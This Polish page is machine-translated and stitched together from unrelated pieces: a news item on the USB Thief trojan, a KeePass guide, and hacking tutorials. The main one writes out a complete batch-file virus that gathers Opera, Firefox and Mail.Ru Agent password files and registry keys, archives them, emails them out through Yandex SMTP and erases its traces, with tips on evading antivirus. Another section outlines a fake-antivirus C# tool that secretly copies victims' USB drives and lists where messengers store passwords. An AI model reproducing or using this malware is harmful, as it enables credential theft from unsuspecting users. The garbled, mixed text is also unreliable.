Niezwykle nietypowy trojan: złośliwe oprogramowanie nazywało się USB Thief (Win32/PSW.Stealer.NAI). Szkodnik ten koncentruje się na kradzieży danych, rozprzestrzenia się i działa na zwykłych dyskach flash, a także umiejętnie ukrywa ślady swojej obecności w systemie. Trojan jest idealny do cyberszpiegostwa, ponieważ może nawet dotrzeć do systemów odizolowanych od sieci, jeśli można do nich podłączyć dysk USB.

W przeciwieństwie do innych zagrożeń USB, które trzymają się uruchamiania i fałszują skróty do aplikacji w celu uruchomienia złośliwego oprogramowania, USB Thief działa inaczej. Celem tego trojana jest wykorzystanie faktu, że użytkownicy często przechowują przenośne wersje aplikacji, takich jak Firefox, NotePad++, TrueCrypt itd. na dyskach flash. Złośliwe oprogramowanie jest zgrabnie zintegrowane z łańcuchem pobierania takich programów, podszywając się pod wtyczki lub Plik DLL. Tak więc, gdy użytkownik uruchamia znaną aplikację z dysku flash, wraz z nią uruchamiany jest trojan (w tle).

Nieznany autor szkodliwego oprogramowania zadbał o poważną ochronę swojego rozwoju. USB Thief łączy się z każdym zainfekowanym dyskiem flash, używając jego unikalnego identyfikatora i ustawień dysku. Niektóre pliki trojana są chronione przez szyfrowanie AES128, a klucz jest generowany na podstawie unikalnych parametrów urządzenia. Ponadto nazwy plików szkodliwego oprogramowania różnią się w każdym przypadku: są generowane na podstawie zawartości dysku flash i czasu utworzenia plików. Podczas próby skopiowania USB Thief na inny dysk flash lub normalna twarda dysk, ten dwustopniowy system ochrony uniemożliwi działanie złośliwego oprogramowania, a także poważnie skomplikuje inżynierię wsteczną.

Struktura trojana

USB Thief działa bezpośrednio z dysku flash i nie pozostawia śladów w samym systemie. Trojan składa się z sześciu plików, z których cztery są wykonywalne, a dwa zawierają dane konfiguracyjne. Pierwszy program ładujący odpowiada za uruchomienie trojana wraz z przenośną wersją programu. Sprawdza urządzenie USB i upewnia się, że może zapisać na nim skradzione informacje i przechowywać je tutaj. Wtedy zaczyna się drugi ładowacz. Sprawdza nazwy procesów nadrzędnych i upewnia się, że działa w normalnym środowisku (i nikt nie próbuje go analizować). Z kolei trzeci program ładujący sprawdza obecność w systemie programów antywirusowych.

Ostatni, czwarty ładunek osadzony w uruchomiony proces, jest bezpośrednio odpowiedzialny za kradzież danych. USB Thief kradnie dokumenty, obrazy, listę plików ze wszystkich dostępnych dysków, dane Rejestr systemu Windows oraz informacje zebrane przez WinAudit. Wszystkie skradzione dane są przechowywane na dysku flash i szyfrowane za pomocą kryptografii eliptycznej.

Eksperci ESET zauważają, że ataki z za pomocą USB Złodziej nie jest jeszcze powszechną praktyką. Trojan jest jednak bardzo niebezpieczny, ponieważ trudno jest wykryć jego obecność, a po wyjęciu dysku USB nie pozostają żadne ślady kradzieży informacji. Raport firmy stwierdza również, że w razie potrzeby autor złośliwego oprogramowania może „zmienić cel” swojego złośliwego oprogramowania, zastępując ładunek służący do kradzieży danych dowolnym innym złośliwym oprogramowaniem.

W tym artykule opiszę jak szybko i bez większych trudności napisać i zrobić wirusa, który kradnie pliki z hasłami i wysyła wszystko na skrzynkę pocztową.
Zacznijmy od tego, że wirus zostanie napisany w bat”e (CMD, można wziąć podstawowe polecenia), czyli w zwykłym plik tekstowy i zostanie wykonane przy użyciu standardowego, wbudowanego interpretera Windows - "wiersza poleceń".
Aby napisać takiego wirusa, musisz znać dokładną lokalizację tych plików, które wykradnie, komponenty Blat, które można pobrać z zewnętrznej strony http://www.blat.net/ lub z naszego serwera, jak a także komponent z archiwizatora WinRaR Rar.exe (możesz się bez niego obejść).
Otwórz notatnik i skopiuj do niego następujący kod:

@echo off md %systemroot%\wincs md %SystemDrive%\pass\ md %SystemDrive%\pass\opera\ md %SystemDrive%\pass\Mozilla\ md %SystemDrive%\pass\MailAgent\ md %SystemDrive%\pass\ MailAgent\reg attrib %systemroot%\wincs +h +s +r attrib %SystemDrive%\pass +h +s +r copy /y "%systemroot%\blat.exe" "%systemroot%\wincs\blat.exe" copy /y "%systemroot%\blat.dll" "%systemroot%\wincs\blat.dll" copy /y "%systemroot%\blat.lib" "%systemroot%\wincs\blat.lib" CD /D % APPDATA%\Opera\Opera\ copy /y wand.dat %SystemDrive%\pass\opera\wand.dat copy /y cookies4.dat %SystemDrive%\pass\opera\cookies4.da regedit.exe -ea %SystemDrive%\ pass\MailAgent\reg\agent.reg "HKEY_CURRENT_USER\software\Mail.Ru\Agent\magent_logins2 regedit.exe -ea %SystemDrive%\pass\MailAgent\reg\agent_3.reg"HKEY_CURRENT_USER\software\Mail.Ru\Agent\ magent_logins3 CD /D %APPDATA% Xcopy Mra\Base %SystemDrive%\pass\MailAgent /K /H /G /Q /R /S /Y /E >nul Xcopy Mra\Update\ver.txt %SystemDrive%\pass\ MailAgent /K /H /G /Q /R /S /Y >nul cd %AppData%\Mozill a\Firefox\Profiles\*.default\ copy /y cookies.sqlite %SystemDrive%\pass\Mozilla\cookies.sqlite copy /y key3.db %SystemDrive%\pass\Mozilla\key3.db copy /y signons.sqlite %SystemDrive%\pass\Mozilla\signons.sqlite copy /y %Windir%\Rar.exe %SystemDrive%\pass\Rar.exe >nul del /s /q %SystemRoot%\Rar.exe %SystemDrive%\pass\ rar.exe a -r %SystemDrive%\pass\pass.rar %SystemDrive%\pass\ copy /y %SystemDrive%\pass\pass.rar %systemroot%\wincs\pass.rar cd %systemroot%\wincs %systemroot %\wincs\blat.exe -install -server smtp.yandex.ru -port 587 -f [email protected] -u login -pw Hasło ren *.rar pass.rar %systemroot%\wincs\blat.exe -body FilesPassword -to [email protected] -attach %systemroot%\wincs\pass.rar rmdir /s /q %SystemDrive%\pass rmdir /s /q %systemroot%\wincs del /s /q %systemroot%\blat. exe del /s /q %systemroot%\blat.dll del /s /q %systemroot%\blat.lib attrib +a +s +h +r %systemroot%\wind.exe EXIT cls

Nie będę pisał dużo kodu samej Batinki.
@echo off - ukrywa korpus tyłka (więc nie jest potrzebny, ale jednak)
md %systemroot%\wincs - tworzy folder wincs w folder systemowy Windows, bez względu na to, na jakim dysku jest zainstalowany lub jaka jest nazwa.
md %SystemDrive%\pass\ — tworzy folder pass na dysku, na którym jest zainstalowany system Windows.
md %SystemDrive%\pass\opera\ - tworzy folder opera, z którego wand.dat i cookies4.dat z Przeglądarka Opera(do 11* wersji, opera przechowuje swoje hasła w pliku wand.dat)
md %SystemDrive%\pass\Mozilla\- tworzy folder Mozilli, z którego pochodzą pliki Przeglądarka Mozilli(cookies.sqlite ,key3.db ,signons.sqlite ), w którym przechowywane są hasła.
md %SystemDrive%\pass\MailAgent\- tworzy folder MailAgent, do którego zostaną skopiowane pliki zawierające historię korespondencji oraz klucze rejestru (przechowujące hasła) z Mail Agenta.
md %SystemDrive%\pass\MailAgent\reg- tworzy folder reg
attrib %systemroot%\wincs +h +s +r- umieszcza atrybuty w folderze wincs, ukrywając go tym samym przed widokiem.
attrib %SystemDrive%\pass +h +s +r- tak samo jak powyżej.
copy /y "%systemroot%\blat.exe" "%systemroot%\wincs\blat.exe"- kopiuje plik blat.exe z lokalizacji pobierania do folderu wincs
copy /y "%systemroot%\blat.dll" "%systemroot%\wincs\blat.dll"- kopiuje plik blat.dll z lokalizacji pobierania do folderu wincs
kopiuj /y "%systemroot%\blat.lib" "%systemroot%\wincs\blat.lib"- kopiuje plik blat.lib z lokalizacji pobierania do folderu wincs
CD /D %APPDATA%\Opera\Opera\ - przechodzi do folderu opery, w którym znajdują się pliki z hasłami (i nie tylko) z opery.
skopiuj /y wand.dat %SystemDrive%\pass\opera\wand.dat- kopiuje plik wand.dat do folderu opery
skopiuj /y cookies4.dat %SystemDrive%\pass\opera\cookies4.dat- kopiuje plik cookie4.dat do folderu opera
regedit.exe -ea %SystemDrive%\pass\MailAgent\reg\agent.reg "HKEY_CURRENT_USER\software\Mail.Ru\Agent\magent_logins2- eksportuje klucz rejestru magent_logins2, w którym przechowywane jest hasło, do folderu reg
regedit.exe -ea %SystemDrive%\pass\MailAgent\reg\agent.reg "HKEY_CURRENT_USER\software\Mail.Ru\Agent\magent_logins3- eksportuje klucz rejestru magent_logins3, w którym przechowywane jest hasło, do folderu reg
CD / D %APPDATA% - przejdź do folderu AppData
Xcopy Mra\Base %SystemDrive%\pass\MailAgent /K /H /G /Q /R /S /Y /E >nul- kopiuje zawartość folderu Mra\Base do folderu MailAgent
Xcopy Mra\Update\ver.txt %SystemDrive%\pass\MailAgent /K /H /G /Q /R /S /Y>nul- kopiuje plik ver.txt do folderu MailAgent
cd %AppData%\Mozilla\Firefox\Profile\*.default\- przejdź do folderu z profilem przeglądarki Mozilla
kopiuj /y cookies.sqlite %SystemDrive%\pass\Mozilla\cookies.sqlite- kopiuje plik cookies.sqlite do folderu Mozilli
skopiuj /y key3.db %SystemDrive%\pass\Mozilla\key3.db- kopiuje plik key3.db do folderu Mozilli
skopiuj /y signons.sqlite %SystemDrive%\pass\Mozilla\signons.sqlite- kopiuje plik signons.sqlite do folderu Mozilli
kopiuj /y %Windir%\Rar.exe %SystemDrive%\pass\Rar.exe >nul- kopiuje komponent archiwizujący WinRar Rar.exe do folderu pass
del /s /q %SystemRoot%\Rar.exe- usuwa komponent archiwizujący z folderu Windows
%SystemDrive%\pass\rar.exe a -r %SystemDrive%\pass\pass.rar %SystemDrive%\pass\- zarchiwizuj zawartość folderu pass
kopiuj /y %SystemDrive%\pass\pass.rar %systemroot%\wincs\pass.rar skopiuj utworzone archiwum do folderu wincs
cd %systemroot%\wincs - przejdź do folderu wincs
%systemroot%\wincs\blat.exe -install -server smtp.yandex.ru -port 587 -f [email protected] -u login -pw Hasło - przygotowuje program Blat do wysłania archiwum podając dane do autoryzacji i wysłania listu Nie zapomnij podać swoich danych ze skrzynki pocztowej, z której będzie list z archiwum wysłano.
ren *.rar pass.rar - na wypadek, gdyby archiwum nie przyjęło niewłaściwej nazwy podczas procesu, zmienimy nazwę ponownie na pass.rar
%systemroot%\wincs\blat.exe -body Files Password -to [email protected] -attach %systemroot%\wincs\pass.rar- wskazać, na jaki adres pocztowy zostanie wysłany list i wysłać go.
rmdir /s /q %SystemDrive%\pass- usuń folder przepustek
rmdir /s /q %systemroot%\wincs- usuń folder wincs
del /s /q %systemroot%\blat.exe
del /s /q %systemroot%\blat.dll- usuń komponenty Blat z folderu Windows.
del /s /q %systemroot%\blat.lib- usuń komponenty Blat z folderu Windows.
attrib +a +s +h +r %systemroot%\wind.exe- nakładamy na siebie atrybuty, ukrywając się w ten sposób przed oczami.
EXIT - zakończ proces batink i wyjdź.
cls - wyczyść dane wyjściowe wszystkich linii w intraperatorze.
Skopiuj, zapisz jako wind.bat i skompiluj do exe za pomocą Programy dla nietoperzy do konwertera exe, następnie zbieramy wszystko razem, to znaczy bierzemy komponenty programu Blat i komponent archiwizujący WinRar (można go pobrać) i sklejamy w jeden plik wykonywalny, lub jakimś programem, ścieżka do wyładowania wszystkich plików powinna be% SystemRoot% lub% WindowsDir% lub %windir% .
W rezultacie otrzymujemy wirusa, który nie zostanie odpalony przez antywirusy i wyśle ​​archiwum z plikami na twoją pocztę.Pliki przychodzące do poczty można odszyfrować za pomocą odzyskiwania wielu haseł, choć nie wszystkie, ale tylko różdżka .dat z opery, a jeśli nie był aktualizowany do wersji 11. Wszystkie inne pliki można odszyfrować zastępując je własnymi.
Myślę, że to już koniec, jeśli masz jakieś pytania, możesz je zadać.
Dziękuję za uwagę, wszystkiego najlepszego!
© Zamień TheHackWorld.in

Wiele firm, w tym Sony i Adobe, padło już ofiarą hakerów, którzy ukradli miliony haseł i innych danych użytkowników. Analiza tych informacji wykazała, że ​​wielu użytkowników często używa słabych haseł, takich jak „123456”, lub tego samego hasła do wielu usług. To znacznie ułatwia ich zadanie hakerom, a jednocześnie można zrozumieć taką nieostrożność: kto jest w stanie zapamiętać kilkanaście skomplikowanych haseł?

Prostym rozwiązaniem może być kawałek papieru przyklejony pod klawiaturą. Żaden haker nie będzie w stanie go wkroczyć, ale będziesz musiał stale monitorować osoby znajdujące się w pobliżu twojego komputera. A ten arkusz jest bezużyteczny, jeśli chcesz zalogować się na swoje konto z czyjegoś komputera.

Darmowe narzędzie KeePass 2 Portable rozwiązuje ten dylemat. Do jego działania potrzebujesz jedynie pendrive'a z 10 MB wolnego miejsca, na którym zainstalujesz program pomocniczy. W przyszłości będziesz musiał zapamiętać tylko jedno hasło - z chronionego obszaru dysku flash. Przecież w nim KeePass zapisuje dane logowania do Twoich serwisów internetowych w postaci zaszyfrowanego banku danych, chronionego hasłem głównym.

Trojany kradnące hasła nie będą w stanie niczego wywęszyć. A ponieważ nie musisz już pamiętać dziesiątek haseł, naprawdę możesz użyć nowego dla każdej usługi sieciowej. silne hasło. Teraz powiemy Ci szczegółowo, jak korzystać z KeePass.

Jak to zrobić

1 Zainstaluj sejf na hasło


Zainstaluj sejf na hasło

Włóż dysk flash USB do komputera, utwórz na nim nowy folder i skopiuj tam zawartość archiwum za pomocą oprogramowania KeePass. Uruchom program KeePass.exe. Po uruchomieniu aktywuj automatyczne wyszukiwanie aktualizacje, klikając „Włącz” w wyskakującym oknie. Następnie wybierz „Widok | Zmień język” i kliknij „Pobierz więcej języków”.

Pobierz plik w języku rosyjskim z witryny, która otwiera się, klikając „Rosyjski | 2,25+". Wypakuj zawartość archiwum na dysk USB. Kliknij ponownie na „Widok | Zmień język”, wybierz „Rosyjski” i uruchom ponownie KeePass, naciskając przycisk „Tak”.

2 Utwórz nową bazę haseł


Utwórz nową bazę haseł

Wybierz „Plik | Nowy” i określ dysk USB jako miejsce przechowywania hasła. W kolejnym oknie program poprosi o ustawienie hasła głównego. Będziesz musiał wprowadzić go za każdym razem, gdy uruchomisz KeePass.

3 Aktywuj tryb chroniony


Aktywuj tryb chroniony

Aby uniemożliwić trojanowi odczytanie hasła do KeePass, należy użyć trybu chronionego programu, aby go wprowadzić, podobnie jak UAC w Windows 7. Aby to zrobić, w KeePass przejdź do „Narzędzia | Ustawienia | Bezpieczeństwo”, przejdź na sam dół okna i zaznacz pole obok „Wprowadź hasło główne w trybie bezpiecznym”.

4 Wypełnij bazę hasłami


Wypełnij bazę hasłami

KeePass może sortować hasła w grupy. Domyślnie nowy bank haseł zawiera grupy takie jak „OS” lub „Internet”. Tworzyć nowy rekord, wybierz odpowiednią grupę (lub utwórz nową), kliknij prawym przyciskiem myszy biały obszar po prawej stronie, a następnie kliknij „Dodaj wpis”.

Wypełnij wszystkie pola i kliknij OK. Ponieważ nie musisz już pamiętać haseł do logowania się do każdego konta, możesz ustawić nowe, bardziej złożone, które można wygenerować np. na passwort-generator.com.

5 Użyj automatycznej autoryzacji


Jeśli chcesz zalogować się do usługi za pomocą KeePass, otwórz grupę, w której przechowywane jest odpowiednie hasło. Kliknij prawym przyciskiem myszy kliknij myszą odpowiednią pozycję pamięci Hasła KeepPass i wybierz "Rozpocznij automatyczne wybieranie" z listy rozwijanej. Następnie program prześle Twoje dane do przeglądarki, a przeglądarka otworzy nowe okno, w którym zalogujesz się na swoje konto.

Należy pamiętać, że w polu „URL” należy wprowadzić adres URL, który zwykle wpisujesz w przeglądarce w celu autoryzacji, w przeciwnym razie automatyczne wprowadzanie hasła przez KeePass nie będzie działać.

6 Przedłuż KeePass


Przedłuż KeePass

Jeśli chcesz rozszerzyć funkcjonalność KeePass, przejdź do „Narzędzia | Moduły | Więcej modułów”, po czym zostaniesz przekierowany na stronę z przydatne rozszerzenia(nasze zalecenia znajdują się w powyższej tabeli). Teraz, klikając nazwę wtyczki, pobierz ją i rozpakuj na dysk flash.

Uruchom ponownie KeePass i przejdź do Narzędzia | Moduły. Na dole zostanie wyświetlona lista dostępnych wtyczek (niektóre z nich można skonfigurować).

Najlepsze rozszerzenia dla KeePass

Wyposaż swój sejf w hasła dodatkowe funkcje, na przykład funkcja Zarezerwuj kopię lub przesłanie hasła do telefonów komórkowych.

Nazwa

Opis

Kopia zapasowa bazy danych Ustawia ochronę banku haseł na wypadek kradzieży lub zgubienia dysku USB.
Szyfr dwurybi
KeeAgent Dodaje algorytm kodowania, który jest prawie niemożliwy do złamania; zauważ, że spowoduje to spowolnienie działania KeePass.
Wymieniacz kluczy Dodaje algorytm kodowania, który jest prawie niemożliwy do złamania; zauważ, że spowoduje to spowolnienie działania KeePass.
KeeForm Otwiera ulubione witryny jednym kliknięciem i automatycznie wprowadza dane logowania.

Dla zwykłych śmiertelników pendrive to urządzenie do przenoszenia dokumentów/filmów/zdjęć i innych osobistych (a czasem bardzo osobistych) informacji. Ale dla hakerów dysk flash jest zarówno ofiarą, jak i narzędziem walki. Dzisiaj opowiem Ci o wszystkich subtelnościach niepostrzeżonego odprowadzania danych z dysków flash na mój komputer, a także nauczę Cię, jak zamienić nieszkodliwe dyski flash w programy do tworzenia kopii zapasowych haseł z „dużego” komputera.

Pułapka na dyski flash innych osób

Idea programu „Zły Komputer” będzie następująca. Opracujemy małe narzędzie, które będzie udawać super-mega zaawansowanego antywirusa, którego celem jest jakościowe usuwanie „niebezpiecznych” wirusów z dysków flash. Nie zaskoczysz nikogo dyskiem flash zainfekowanym wirusem, więc nasz wyspecjalizowany „antywirus” nie wzbudzi niepokoju naiwnego użytkownika. Wręcz przeciwnie, wkładając dysk flash USB do komputera i wyświetlając komunikat taki jak: "Wykryto wirusa. Dokonuję szczegółowego skanowania wszystkich plików pod kątem obecności zainfekowanych ”, - na pewno poczeka na zakończenie tej operacji.

Przygotowanie instrumentu

napisz tak przydatny program będziemy na modnym teraz C#. Elastyczność języka i bogata funkcjonalność platformy .NET pozwalają na błyskawiczne tworzenie aplikacji. Właśnie tego potrzebujemy. Interesuje nas żniwo, które możemy zebrać, a nie żmudny proces kodowania.

Jednym z ważnych elementów naszej aplikacji będzie interfejs. Im solidniej to zrobisz, tym większe prawdopodobieństwo, że ofiara nie zauważy haczyka i spokojnie będzie czekać na zakończenie skanowania antywirusowego. Nie przejmowałem się zbytnio i umieściłem tylko zdjęcie i ProgressBar na postaci czystego projektu. Możesz się świetnie bawić i stworzyć oszałamiający projekt. Radzę przyjrzeć się projektowi prawdziwego programu antywirusowego i zaprojektować swoją aplikację w mniej więcej tym samym stylu.

Stawiamy zadanie

Założymy, że zdecydowaliśmy się na kwestie organizacyjne i algorytm działania, czas na omówienie niuansów technicznych. Dlatego nasz program antywirusowy powinien rozpocząć swoją brudną pracę podczas instalacji dysku flash. Raz nowy dysk pojawia się w systemie, nasz program musi określić jego literę i rozpocząć kopiowanie.

Zanim podjąłem się napisania tego artykułu, natknąłem się na kod źródłowy takiego programu. Autor przykładu określił obecność dysku flash, okresowo wymieniając wszystkie dyski na obecność dysku typu „ nośniki wymienne”. Na początku myślałem, że pójdę tą samą drogą, ale wewnętrzny głos zasugerował irracjonalność. Po zważeniu wszystkich „za” i wszystkich „dobrze, jest na” odrzuciłem ten pomysł i poszedłem na spacer po MSND. Pięć minut później okazało się, że zrobiłem to nie bez powodu. Znaleziono odpowiedź!

Bez WinAPI nigdzie...

Najskuteczniejszym sposobem, aby dowiedzieć się o podłączeniu nowego sprzętu (w naszym przypadku pendrive'ów) jest przechwycenie i przeanalizowanie komunikatu WM_DEVICECHANGE. Podczas instalacji urządzenia wiadomość jest wysyłana do wszystkich okien, a my możemy ją łatwo przetworzyć w naszej aplikacji. W tym celu wystarczy opisać funkcję WindowProc. W praktyce wygląda to tak:

LResult CALLBACK WindowProc (HWND hwnd, //id okna UINT uMsg, //id wiadomości WPARAM wParam, //zdarzenie, które wystąpiło LPARAM lParam //wskaźnik do struktury zawierającej dane)

W treści funkcji należy porównać wartość parametru WParam z identyfikatorami różnych zdarzeń związanych z komunikatem WM_DEVICECHANGE. W naszym przykładzie byłyby to:

  • DBT_DEVICEARRIVAL - dodano wyposażenie
  • DBT_DEVICEREMOVECOMPLETE — sprzęt został całkowicie usunięty
  • No dobrze, wiemy jak ustalić fakt podłączenia nowego sprzętu, ale skąd mieć pewność, że podłączyłeś pendrive? Istnieje wiele urządzeń z możliwością podłączania podczas pracy (mówię o usb) (drukarka, skaner, modem itp.). Na szczęście ten problem został rozwiązany po prostu. Za pomocą parametru LParam możemy odwołać się do struktury _DEV_BROADCAST_HDR, która posiada pole dbch_devicetype. Tutaj, na podstawie wartości tego pola, wyciągane są odpowiednie wnioski. Jeśli jest równy DEV_DEVTYP_VOLUME, czas się radować i klaskać w dłonie - podłączono do nas pendrive!

    Typedef struct _DEV_BROADCAST_HDR ( DWORD dbch_size; //DWORD rozmiar struktury dbch_devicetype; //Typ urządzenia DWORD dbch_reserved; //Zarezerwowane, nie używane )DEV_BROADCAST_HDR, *PDEV_BROADCAST_HDR;

    Do naszego pisyuka włożono pendrive'a - spróbujmy znaleźć literę dysku, którą system do niego przypisał. Podobnie jak w „Polu cudów”, możesz się domyślić, ale lepiej wyciągnąć informacje ze struktury DEV_BROADCAST_VOLUME.

    Typedef struct _DEV_BROADCAST_VOLUME ( DWORD dbcv_size; //Rozmiar struktury DWORD dbcv_devicetype; //Typ urządzenia DWORD dbcv_reserved; //Zarezerwowany DWORD dbcv_unitmask; //Maska bitowa litery dysku WORD ;_B_ROAD_Cflags;

    Ze wszystkich pól w tej strukturze interesuje nas dbcv_unitmask. Zauważ, że ta właściwość zawiera tylko fragment litery, a nie jej symboliczną reprezentację. Na przykład, jeśli wartość wynosi 0, literą dysku będzie A; jeśli 1, to B itd. Dla wygody uzyskania symbolicznej litery najlepiej jest napisać funkcję.

    Jeśli czytasz nasz felieton od dłuższego czasu i znasz funkcje API, to nie ma potrzeby czytać dalszej części artykułu. Otwórz edytor i zacznij rzeźbić aplikacje. Opisałem wszystkie niezbędne struktury i funkcje; po prostu musisz je połączyć w programie. Podejmij decyzję, a ja zacznę zagłębiać się w .NET i C# w szczególności.

    Przejdźmy do .NET „ohm

    Czas zacząć ćwiczyć i zastosować swoją wiedzę w języku C#. "Co za cholera? - ty pytasz. - Opowiedziałem połowę artykułu o WinAPI, ale potem głupio zdecydowałem się na wywołanie wszystkich funkcji w postaci kodu natywnego? Gdzie jest deklarowana błyskawiczna prędkość rozwoju?

    W czymś masz rację. Nasza aplikacja rzeczywiście będzie korzystała z funkcji WinAPI (nie ma prostszego sposobu), ale sami ich nie opiszemy. Wielu programistów stanęło przed problemem określania dysków flash. W wyniku tych potyczek zaczęły pojawiać się darmowe klasy dla C#, w których zaimplementowano już całą niezbędną funkcjonalność. Wystarczy podłączyć taki blank (odczyt komponentu) do naszego projektu i wywołać kilka metod. Użyjemy teraz jednej z tych klas. Ale znajomość wyżej opisanych struktur na pewno przyda się przy przenoszeniu tego programu do Windows API.

    Istnieje wiele gotowych klas, które rozwiązują takie problemy, ale najbardziej spodobała mi się wersja Jana Dolinay. Ta osoba napisała bardzo łatwą w użyciu i zrozumiałą klasę DriveDetector, która może:

  • Sprawdź, czy dysk flash jest podłączony
  • Zdefiniuj żądanie odmontowania podłączonego dysku flash
  • Ustal, czy lampa błyskowa jest wyłączona
  • Uzyskaj literę dysku nowo podłączonego dysku flash
  • Podaj listę plików otwartych z dysku flash
  • A co najważniejsze, praca z tą klasą jest niezwykle łatwa - zobaczysz to teraz. Podłączenie klasy do projektu odbywa się w standardowy sposób i nie ma sensu się nad tym rozwodzić. Przejdźmy więc do inicjalizacji. Odbywa się to tak:

    FlashDriveDetector = nowy DriveDetector(); flashDriveDetector.DeviceArrived += nowy DriveDetectorEventHandler(OnDriveArrived); flashDriveDetector.DeviceRemoved += nowy DriveDetectorEventHandler(OnDriveRemoved);

    Po utworzeniu instancji obiektu klasy DriveDetector definiuję obsługę zdarzeń DevieArrived() i DriveRemoved(). Z ich nazwy nietrudno zgadnąć, za co są odpowiedzialni. Cały kod inicjujący najlepiej jest napisać w metodzie Form1(). Główny kod naszego programu będzie znajdował się w module obsługi zdarzeń DeviceArrived. Możesz zobaczyć jego tekst na pasku bocznym:

    String dirName = Environment.GetCommandLineArgs() + "flash_" + DateTime.Now.ToString("dd-MM-rr-hh-mm-ss"); UtwórzKatalog(nazwa_katalogu); xDirectory flashcopier = nowy xDirectory(); flashcopier.IndexComplete += new IndexCompleteEventHandler(IndexComplete); flashcopier.ItemCopied += nowy ItemCopiedEventHandler(ItemCopied); flashcopier.CopyComplete += new CopyCompleteEventHandler(CopyComplete); flashcopier.Source = new DirectoryInfo(e.Drive.ToString()); flashcopier.Destination = new DirectoryInfo(dirName); flashcopier.Overwrite = prawda; flashcopier.FolderFilter = "*"; flashcopier.FileFilters.Add("*.doc"); flashcopier.FileFilters.Add("*.xls"); //Zdefiniuj inne filtry //.... flashcopier.StartCopy();

    Na samym początku wpisu określam ścieżkę do folderu, do którego skopiujemy zawartość pendrive'a. Skopiujemy do katalogu „flash_current date” znajdującego się wraz z folderem, z którego uruchamiana jest nasza aplikacja - tak jest wygodniej. Decydując się na nazwę folderu, staram się go stworzyć za pomocą funkcji CreateDirectory(). Napisałem tę funkcję wyłącznie dla wygody. Tworzy wystąpienie obiektu DirectoryInfo zaprojektowanego do pracy z katalogami i wywołuje jego metodę Create(), która tworzy nowy folder.

    Po utworzeniu folderu możesz go skopiować. Wszystkie pliki kopiuję za pomocą obiektu typu xDirectory. Jeśli sam wpiszesz kod z listingu, to podczas próby kompilacji kompilator wygeneruje błąd, w którym powie czarno na białym: „Nie znaleziono obiektu tego typu”.

    Chodzi o to, że xDirectory jest klasą innej firmy. Kiedyś znalazłem go w Internecie i od tego czasu często wykorzystuję go w swoich projektach. Podoba mi się to, ponieważ do kopiowania podfolderów wystarczy wywołać jedną metodę. Dodatkowo pozwala na ustawienie filtrów.

    Naprawdę się bez tego obejść. Bierzemy standardowe klasy, technikę dobrze znaną wszystkim programistom - rekurencję - i piszemy kilkadziesiąt linijek kodu. Niestety, absolutnie nie chcę tego robić. Na podwórku jest XXI wiek, musimy zoptymalizować nasze działania do maksimum, a xDirectory nam w tym pomoże.

    Moduł z klasą znajduje się na naszym dysku, a o przeznaczeniu metod/właściwości/zdarzeń możesz dowiedzieć się przeglądając odpowiednią tabelę.

    właściwości klasy xDirectory

    Metody klas xDirectory

    Spróbuj uruchomić naszą aplikację i włóż pendrive. Po kilku sekundach (w zależności od bałaganu na dysku flash) cała zawartość dysku USB zostanie przeniesiona do folderu, z którego uruchomiłeś świeżo upieczoną aplikację.

    Chwytak USB

    Rozważmy teraz problem odwrotny i porozmawiajmy o niuansach tworzenia tzw. chwytak pamięci flash. Zasada tworzenia jest dokładnie taka sama. Musisz napisać prostą aplikację, która uruchomi się automatycznie po zainstalowaniu dysku flash.

    W trakcie pracy aplikacja przejdzie przez foldery / klucze rejestru, w których popularne programy przechowują zapisane hasła i, jeśli to możliwe, skopiuje wszystkie informacje do jednego z ich folderów. Aby twój autorun nie wzbudzał podejrzeń wśród biednych użytkowników, staraj się go dokładnie zamaskować. Na przykład w menu uruchamiania.

    Zapewne zdajesz sobie sprawę, że bardzo popularne stały się teraz tak zwane przenośne wersje aplikacji, czyli programy, które mogą pracować bezpośrednio z pendrive'a. To najlepszy sposób na grę. Zaprojektuj program w odpowiednim stylu i, dla uprawdopodobnienia, wrzuć kilka przycisków przeznaczonych do uruchamiania dowolnych programów. Mój projekt jest pokazany na zdjęciu.

    Jak zamierzamy rabować?

    Muszę od razu powiedzieć, że nie ma tu potrzeby wykonywania akcji superhakerskich. Większość programów przechowuje dane osobowe w folderze Documents and Settings\User\Application Data\%ProgramName% lub w rejestrze. ProgramName oznacza dowolny program. Jeśli masz do czynienia z pierwszą opcją, będziesz musiał użyć znanej już klasy xDirectory (lub standardowych metod pracy z plikami) i skopiować z nią wszystko, czego potrzebujesz. W drugim przypadku będziesz musiał pracować z rejestrem. Nie będę podawał przykładu kopiowania plików (już to rozważaliśmy), ale pokażę, jak wchodzić w interakcję z rejestrem za pomocą narzędzi .NET (na przykładzie określania ścieżki do folderu TC):

    RegistryKey readKey = Registry.CurrentUser.OpenSubKey(" software\\Ghisler\\ Całkowity dowódca"); string key = (string) readKey.GetValue("InstallDir");

    To wszystko. Nie będzie więcej kodu. Ta wiedza powinna wystarczyć, aby pobrać pliki z cennymi informacjami. Aby było trochę łatwiej, przygotowałem listę najbardziej popularne programy i pomalowali wszystkie sposoby, w jakie przechowują zapisane dane użytkownika.

    Agent pocztowy

    Posłaniec z Mail.ru jest teraz bardzo popularny wśród zwykłych śmiertelników (zwłaszcza wśród kobiet). Cele są jasne, zadania ustalone, dlatego interesują nas:

  • Historia. MA przechowuje całą historię korespondencji użytkownika w Dokumentach i ustawieniu\%User%\Dane aplikacji\Mra\base . W folderze podstawowym znajduje się plik mra.dbs. W rzeczywistości jest to plik historii.
  • Lista kontaktów. Lista kontaktów znajduje się w folderze MRA\%user account%\clist5.txt. Pamiętaj, że z mail.agent może pracować kilku użytkowników (lub jeden użytkownik może mieć kilka kont). Dlatego najrozsądniej byłoby skopiować wszystkie foldery zawierające w nazwie symbol „@”.
  • Hasło. Hasło (dokładniej jego hash) z rachunek Użytkownik znajduje się w rejestrze wzdłuż ścieżki - HKCU\Software\Mail.RU\Agent\magent_logins2\%Account% w parametrze ####password.
  • gTalk

    Firma Google tworzy wygodne i funkcjonalne produkty, wśród których znajduje się klient gabber - gTalk. Dziś gTalk jeszcze mało popularne. Nie jest instalowany na co drugim komputerze, ale czasami nadal występuje i żeby być w temacie, lepiej od razu nauczyć nasz program, jak również pobierać hasła z tego komunikatora. Hasła do wszystkich kont gTalk są przechowywane w rejestrze – HHEY_CURRENT_USER\Software\Google\Google Talk\Accounts . Ten oddział zawiera listę wszystkich kont, na które kiedykolwiek logowano się do gTalk. Hasła do kont są przechowywane w parametr ciągu pw.

    Całkowity dowódca

